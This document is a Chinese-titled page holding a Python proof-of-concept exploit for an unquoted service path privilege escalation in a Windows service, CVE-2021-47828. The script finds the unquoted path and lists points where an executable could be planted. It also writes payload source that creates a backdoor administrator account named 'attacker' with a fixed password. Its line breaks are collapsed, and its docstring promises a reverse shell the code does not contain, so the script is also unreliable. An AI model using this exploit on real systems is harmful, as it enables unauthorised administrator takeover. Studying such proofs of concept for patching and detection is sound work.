CVE-2021-47828 BOOTP Turbo 未加引号服务路径权限提升漏洞

#!/usr/bin/env python3 # CVE-2021-47828 PoC - BOOTP Turbo Unquoted Service Path # This PoC demonstrates how to exploit the unquoted service path vulnerability import os import sys import subprocess import ctypes def check_vulnerability(): """ Check if the target system is vulnerable to CVE-2021-47828 Checks if BOOTP Turbo service has an unquoted path containing spaces """ try: # Query Windows Registry for BOOTP Turbo service configuration result = subprocess.run( ['sc', 'qc', 'BOOTPTurbo'], capture_output=True, text=True ) if result.returncode == 0: output = result.stdout # Check if path contains spaces and is not quoted if 'BINARY_PATH_NAME' in output: for line in output.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() # Check if path has spaces and is not quoted if (' ' in path) and (not path.startswith('"')): print(f"[+] Vulnerable path detected: {path}") return True, path print("[-] Service not found or not vulnerable") return False, None except Exception as e: print(f"[-] Error checking vulnerability: {e}") return False, None def create_malicious_executable(output_path): """ Generate malicious executable that creates a reverse shell Note: This is for educational purposes only """ malicious_code = f''' #include <windows.h> #include <stdio.h> int main() {{ // Payload: Create admin user or execute reverse shell // In real attack, this would be the actual malicious code MessageBox(NULL, "BOOTP Turbo Service Executed", "CVE-2021-47828", MB_OK); // Execute privileged operation system("net user attacker P@ssw0rd123 /add"); system("net localgroup Administrators attacker /add"); return 0; }} ''' with open(output_path, 'w') as f: f.write(malicious_code) print(f"[+] Malicious executable created at: {output_path}") def main(): print("="*60) print("CVE-2021-47828 PoC - BOOTP Turbo Unquoted Service Path") print("="*60) # Step 1: Check if vulnerable print("\n[1] Checking for vulnerability...") vulnerable, service_path = check_vulnerability() if vulnerable: print(f"[+] Target is VULNERABLE") print(f"[+] Service path: {service_path}") # Step 2: Identify potential injection points print("\n[2] Analyzing path for injection points...") path_parts = service_path.split('\\') for i, part in enumerate(path_parts): if ' ' in part: potential_path = '\\'.join(path_parts[:i+1]) + '.exe' print(f" [!] Potential injection: {potential_path}") else: print("[-] Target is NOT vulnerable") if __name__ == '__main__': main()